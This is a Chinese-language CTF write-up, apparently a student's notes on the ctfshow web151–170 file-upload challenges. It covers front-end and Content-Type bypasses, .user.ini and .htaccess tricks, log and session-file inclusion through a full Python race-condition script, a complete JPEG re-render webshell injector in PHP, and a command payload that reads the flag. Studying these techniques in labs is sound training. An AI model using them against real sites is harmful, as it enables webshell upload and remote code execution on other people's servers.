期末考完终于可以好好学ctf了,先把这些该回顾的回顾完,直接rushjava!
目录
web151
web152
web153
web154-155
web156-159
web160
web161
web162-163
web164
web165
web166
web167
web168
web169-170
如果直接上传php文件就会弹窗
直接禁js按钮就不能上传文件了
一种方法是改js代码(png=>php)
然后直接上传即可
另一种方法可以不改js,直接抓包,然后改数据包信息,png=>php即可成功上传
连蚁剑,下略
抓包,改content-type就行
下略
"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 实际上是 Unicode 编码下的中文字符串,对应的中文是 "文件类型不合规" 。"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 中的每个 "\u" 表示紧跟着的四位十六进制数表示一个字符的码点。例如,"\u6587" 表示中文字符 "文" 的码点 U+6587,"\u4ef6" 表示中文字符 "件" 的码点 U+4EF6,以此类推。
嫌查表麻烦可以直接在浏览器的console运行一下嘛
经过尝试发现是对文件后缀有过滤,用phtml就可绕过
但好家伙配置文件不把phtml当php解析是吧
润了,只能上传.user.ini
相当于给/upload这个目录下所有文件都包含一个指定文件
包含一个藏马的文件(包括图片文件)就相当于在页面里写了个马
连蚁剑,下略
正常上传.user.ini后再上传图片文件时会如上报错,说明有文件内容检测了,bp抓包简单二分法测一下就好。
发现过滤了php,直接短标签即可
成功连蚁剑,下略
二分法测出来过滤了'[',我测,这还咋写马(其实可以用{}来代替[])
但如果想不到的话也倒不必强求,直接配置文件配合日志包含就行
GIF89a
auto_prepend_file=/var/log/nginx/access.log
这种姿势我挺喜欢的,可以积累一下捏。
终于ban了,二分法测一下发现是log被禁了。
问题不大,可以尝试字符串拼接试试
会发现并不支持这样的写法,那我们还是回头对包含图片马做文章吧。
继续二分法测发现过滤了'[','{','()','`'和空格,这其实敏感的师傅很快就懂了,include嘛。
继续日志包含,php代码肯定支持拼接的,log拼接一下就可绕过过滤
然后UA命令执行就行
多一个文件头过滤罢了,加个GIF89a
下略
先包含一个sess文件
GIF89a
auto_prepend_file=/tmp/sess_Z3r4y
session.upload_progress.enabled = On
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.use_strict_mode = Off
session.save_path = /tmp
session.upload_progress.cleanup = On
在相关选项开启的情况下, 我们如果在上传文件的过程中 POST 一个变量 PHP_SESSION_UPLOAD_PROGRESS
, PHP 就会创建一个对应的 session 文件, 文件内包含 PHP_SESSION_UPLOAD_PROGRESS
的值
如果 session.use_strict_mode = Off
时, 我们可以通过在 Cookie 中设置 PHPSESSID=123
(默认 prefix 为 PHPSESSID) 来指定 session 文件名为 sess_123
(否则就是 sess_[32位随机字符串]
)
当 session.upload_progress.cleanup = On
时就需要条件竞争。
import requests
import threading
url = 'http://f36bdfea-6976-4d23-922a-734073d4665b.challenge.ctf.show/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': ''
}
while True:
files = {'file': ('1.png', b'GIF89a', 'image/png')}
response = session.post(url+"upload.php",cookies={'PHPSESSID': 'Z3r4y'}, data=data, files=files)
def read(session):
while True:
response = session.get(url+'upload/')
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
这题本质其实就是文件上传的利用了
可以看文件包含刷题记录的web82
.user.ini不让用了
随便上传一个png看一下,发现页面从回显文件路径变成查看图片了,点击看一下发现存在一个文件包含点。
可以尝试用png二次渲染绕过
*/
?>
生成图片,再提交,点击查看图片,传参rce
(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)
这次是只让上传jpg文件了
可以用jpg二次渲染绕过
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法:php jpg二渲.php a.jpg
这个得看命,只能说找不到合适的图片
这题只能上传zip文件
问题不大,上传一个zip文件,在文件内容末尾插入一段php代码
然后点击下载文件抓包rce即可
题目提示httpd懂的都懂,apache呗
然后这次是只能上传jpg文件
先写payload.txt内容,再把属性改为.jpg
直接上传payload.jpg
点击下载文件拿到文件路径
然后上传配置文件,因为是apachehttpd,所以要上传.htaccess
在此之前我们要先改一下前端代码
.htaccess内容(别问为什么有多余的那串,懂的都懂)
#define width 1;
#define height 1;
SetHandler application/x-httpd-php
bp抓包改一下content-type发包
访问图片路径(现在已经被当作php文件解析)
payload:
1=system('tac ../f*');
基础免杀还行
这次只让上传png文件
正常上传一个图片马会回显一个null
下面这样可以过免杀
访问/upload/yjh3.php拿到flag
能有多高级?
还是走回老路子,直接配置文件配合日志包含(改前端,改content-type不解释)
但正常访问/upload/会报403,所以我们要自己再上传一个php文件
上传文件如下,高级免杀也拦不住(
直接访问/upload/suibian.php